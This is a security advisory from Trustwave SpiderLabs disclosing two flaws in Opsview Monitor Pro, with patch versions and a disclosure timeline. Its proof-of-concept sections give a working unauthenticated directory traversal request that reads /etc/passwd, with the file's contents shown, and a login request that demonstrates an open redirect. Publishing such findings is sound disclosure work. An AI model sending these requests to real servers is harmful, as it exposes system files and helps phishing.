Trustwave SpiderLabs Security Advisory TWSL2016-016: Multiple Vulnerabilities in Opsview Monitor Pro Published: 09/01/2016 Version: 1.0 Vendor: Opsview Inc Product: Monitor Pro Version affected: Prior to 5.1.0.162300841, prior to 5.0.2.27475, prior to 4.6.4.162391051 and 4.5.x without latest security patch Product description: Opsview is an enterprise grade network, server and application monitoring tool. Features include Nagios® Core compatibility, distributed monitoring, flexible status views, data warehouse and reporting. Finding 1 : Directory traversal Credit: Piotr Karolak of Trustwave's SpiderLabs CWE: CWE-22 #Proof of Concept The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass, %252f instead of (/),URL encoding. Example: GET /monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1 Host: a.b.c.d Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close HTTP/1.1 404 Not Found Date: Mon, 08 Aug 2016 21:16:08 GMT Server: Apache/2.4.7 (Ubuntu) X-Frame-Options: SAMEORIGIN Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1593 Content-Type: text/plain Expires: Thu, 01 Jan 1970 00:00:00 GMT Last-Modified: Fri, 06 May 2016 10:38:18 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: opsview_web_session=4ba74c60cfe0b42aa0004c4396a5b7c2d6c84300; path=/; expires=Mon, 08-Aug-2016 22:16:07 GMT; HttpOnly Connection: close root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false postfix:x:102:107::/var/spool/postfix:/bin/false dovecot:x:103:109:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false dovenull:x:104:110:Dovecot login user,,,:/nonexistent:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin conf:x:1000:1000:conf,,,:/home/conf:/bin/bash ntp:x:106:113::/home/ntp:/bin/false mysql:x:107:114:MySQL Server,,,:/nonexistent:/bin/false opsview:x:999:999:opsview:/opt/opsview:/bin/bash nagios:x:998:997:nagios:/var/log/nagios:/bin/bash snmp:x:108:115::/var/lib/snmp:/bin/false messagebus:x:109:117::/var/run/dbus:/bin/false colord:x:110:119:colord colour management daemon,,,:/var/lib/colord:/bin/false Finding 2 : Arbitrary Redirect Credit: Piotr Karolak of Trustwave's SpiderLabs CWE: CWE-601 Back parameter is vulnerable to URL redirection attacks. #Proof of Concept Request: POST /login HTTP/1.1 Content-Length: 84 Content-Type: application/x-www-form-urlencoded Host: a.b.c.d Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* login_username=test&login_password=test&login=&back=//www.example.com&app=OPSVIEW Response: HTTP/1.1 302 Found Date: Sun, 07 Aug 2016 04:38:11 GMT Server: Apache/2.4.7 (Ubuntu) X-Frame-Options: SAMEORIGIN Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Location: //www.example.com Content-Type: text/html; charset=utf-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Length: 301 Set-Cookie: auth_tkt=ZTYwNDU1NjAyY2Q0MzU4MTU3NjA3MTg1M2ZhNzY2NzQ1N2E2YmIzM3BldGVyIURBU0hCT0FSRCxEQVNIQk9BUkRFRElULE5BVk9QVElPTlMsTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUlJER1JBUEhTLFZJRVdBTEwh; path=/; HttpOnly Set-Cookie: opsview_web_session=b09bb9da021b176e309311347161e365220501d7; path=/; expires=Sun, 07-Aug-2016 05:38:10 GMT; HttpOnly Connection: close Remediation Steps: Apply one of these following vendor supplied patches for versions 5.1, 5.0.x, and 4.6.x: Opsview Monitor 5.1.0.162300841 Opsview Monitor 5.0.2.27475 Opsview Monitor 4.6.4.162391051 Download the latest security patch for Opsview 4.5.x. For Opsview Monitor 4.4.x and below, upgrade to a supported version. Revision History: 08/10/2016 - Vulnerability disclosed to vendor 08/31/2016 - Patch released by vendor 09/01/2016 - Advisory published References 1. https://www.opsview.com/resources/forums/announcements/opsview-monitor-security-vulnerability 2. https://www.owasp.org/index.php/Path_Traversal About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.